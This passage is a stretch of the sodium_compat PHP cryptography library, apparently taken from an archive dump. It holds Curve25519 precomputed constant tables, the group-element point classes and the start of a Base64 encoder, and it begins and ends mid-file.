                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );

    /**
     * 1 / sqrt(a - d)
     *
     * @var array<int, int>
     */
    protected static $invsqrtamd = array(
        6111485,
        4156064,
        -27798727,
        12243468,
        -25904040,
        120897,
        20826367,
        -7060776,
        6093568,
        -1986012
    );

    /**
     *  sqrt(ad - 1) with a = -1 (mod p)
     *
     * @var array<int, int>
     */
    protected static $sqrtadm1 = array(
        24849947,
        -153582,
        -23613485,
        6347715,
        -21072328,
        -667138,
        -25271143,
        -15367704,
        -870347,
        14525639
    );

    /**
     * 1 - d ^ 2
     *
     * @var array<int, int>
     */
    protected static $onemsqd = array(
        6275446,
        -16617371,
        -22938544,
        -3773710,
        11667077,
        7397348,
        -27922721,
        1766195,
        -24433858,
        672203
    );

    /**
     * (d - 1) ^ 2
     * @var array<int, int>
     */
    protected static $sqdmone = array(
        15551795,
        -11097455,
        -13425098,
        -10125071,
        -11896535,
        10178284,
        -26634327,
        4729244,
        -5282110,
        -10116402
    );


    /*
     *  2^252+27742317777372353535851937790883648493
        static const unsigned char L[] = {
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7,
            0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        };
    */
    const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10";
}
Core/Curve25519/Ge/Cached.php000064400000004502151024233030011333 0ustar00<?php


if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $T2d
     */
    public function __construct(
        $YplusX = null,
        $YminusX = null,
        $Z = null,
        $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($YplusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($YminusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($T2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T2d = $T2d;
    }
}
Core/Curve25519/Ge/P3.php000064400000004312151024233030010445 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null,
        $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T = $t;
    }
}
Core/Curve25519/Ge/P1p1.php000064400000004321151024233030010704 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null,
        $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T = $t;
    }
}
Core/Curve25519/Ge/Precomp.php000064400000003562151024233030011576 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $xy2d
     */
    public function __construct(
        $yplusx = null,
        $yminusx = null,
        $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($yplusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($yminusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($xy2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->xy2d = $xy2d;
    }
}
Core/Curve25519/Ge/P2.php000064400000003375151024233030010454 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
    }
}
Core/Base64/Original.php000064400000017055151024233030010736 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_Original
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
